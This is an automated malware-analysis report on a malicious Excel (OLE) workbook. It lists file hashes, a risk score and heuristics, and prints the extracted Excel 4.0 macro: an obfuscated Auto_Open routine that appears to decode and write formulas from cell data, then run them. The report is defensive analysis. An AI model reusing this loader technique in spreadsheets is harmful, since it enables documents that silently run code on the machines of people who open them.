Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0234617dd6f04196…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:17 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 26af8b2da4a94360667f5d1af5e09540 SHA-1: 55ccaae29bf05d43698ca3b6aed70929d891fb6b SHA-256: 0234617dd6f041961a2f4c7ac68ebb904ccc4106d74b6cc561c3cf728218c4a6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6531 bytes
SHA-256: 2f9db688e9587d8005396f8603c7b23fab17dbcf47ba2872a20dbad798654802
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NSRTnJPb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G192 
' 0018     27 LABEL : Cell Value, String Constant - clZAyGSoIMHA len=0 
' 0018     20 LABEL : Cell Value, String Constant - crpRB len=0 
' 0018     22 LABEL : Cell Value, String Constant - DbgGSBg len=0 
' 0018     20 LABEL : Cell Value, String Constant - EpgCD len=0 
' 0018     22 LABEL : Cell Value, String Constant - HKEuJaz len=0 
' 0018     24 LABEL : Cell Value, String Constant - HLjsSgqUl len=0 
' 0018     24 LABEL : Cell Value, String Constant - hzFfnigCU len=0 
' 0018     27 LABEL : Cell Value, String Constant - jMMFUEgZBnmD len=0 
' 0018     20 LABEL : Cell Value, String Constant - kWxbA len=0 
' 0018     24 LABEL : Cell Value, String Constant - kZLzPWsTD len=0 
' 0018     24 LABEL : Cell Value, String Constant - lphlJrngq len=0 
' 0018     20 LABEL : Cell Value, String Constant - panHD len=0 
' 0018     22 LABEL : Cell Value, String Constant - PyHdfMF len=0 
' 0018     24 LABEL : Cell Value, String Constant - QoPePeKFK len=0 
' 0018     22 LABEL : Cell Value, String Constant - QsERmjm len=0 
' 0018     25 LABEL : Cell Value, String Constant - sprGsjkUje len=0 
' 0018     20 LABEL : Cell Value, String Constant - twoGX len=0 
' 0018     24 LABEL : Cell Value, String Constant - txVQkBLHD len=0 
' 0018     21 LABEL : Cell Value, String Constant - XpHJLN len=0 
' 0018     24 LABEL : Cell Value, String Constant - YdWztpPsF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NSRTnJPb,G98,"SET.NAME("hzFfnigCU",VALUE("0"))",""
'  NSRTnJPb,G102,"SET.NAME("QoPePeKFK",hzFfnigCU)",""
'  NSRTnJPb,G107,"SET.NAME("lphlJrngq",hzFfnigCU)",""
'  NSRTnJPb,G110,"SET.NAME("QsERmjm",COUNTA(DbgGSBg))",""
'  NSRTnJPb,G115,"SET.NAME("HKEuJaz",COUNTA(jMMFUEgZBnmD))",""
'  NSRTnJPb,G120,[],""
'  NSRTnJPb,G122,"SET.NAME("txVQkBLHD","")",""
'  NSRTnJPb,G126,"QoPePeKFK",""
'  NSRTnJPb,G128,"SET.NAME("HLjsSgqUl",HLOOKUP("*",DbgGSBg,QoPePeKFK,FALSE))",""
'  NSRTnJPb,G131,"crpRB",""
'  NSRTnJPb,G135,"SET.NAME("XpHJLN",hzFfnigCU)",""
'  NSRTnJPb,G139,[],""
'  NSRTnJPb,G144,"XpHJLN",""
'  NSRTnJPb,G147,"EpgCD",""
'  NSRTnJPb,G149,"twoGX",""
'  NSRTnJPb,G154,"kZLzPWsTD",""
'  NSRTnJPb,G158,"SET.NAME("sprGsjkUje",VALUE(HLOOKUP("*",jMMFUEgZBnmD,kZLzPWsTD,FALSE)))",""
'  NSRTnJPb,G161,"kWxbA",""
'  NSRTnJPb,G163,"txVQkBLHD",""
'  NSRTnJPb,G167,"lphlJrngq",""
'  NSRTnJPb,G169,NEXT(),""
'  NSRTnJPb,G171,"PyHdfMF",""
'  NSRTnJPb,G176,"SET.NAME("f",INT(T(FORMULA(T(txVQkBLHD)&"",""&T(PyHdfMF)))))",""
'  NSRTnJPb,G180,"YdWztpPsF",""
'  NSRTnJPb,G185,NEXT(),""
'  NSRTnJPb,G187,RETURN(),""
'  NSRTnJPb,G219,"SET.NAME("clZAyGSoIMHA",G98)",""
'  NSRTnJPb,G223,"DbgGSBg",""
'  NSRTnJPb,G228,"SET.NAME("jMMFUEgZBnmD",R46C14)",""
'  NSRTnJPb,G232,"SET.NAME("YdWztpPsF",239)",""
'  NSRTnJPb,G234,"SET.NAME("panHD",7)",""
'  NSRTnJPb,G238,clZAyGSoIMHA(),""
'  NSRTnJPb,G239,HALT(),""

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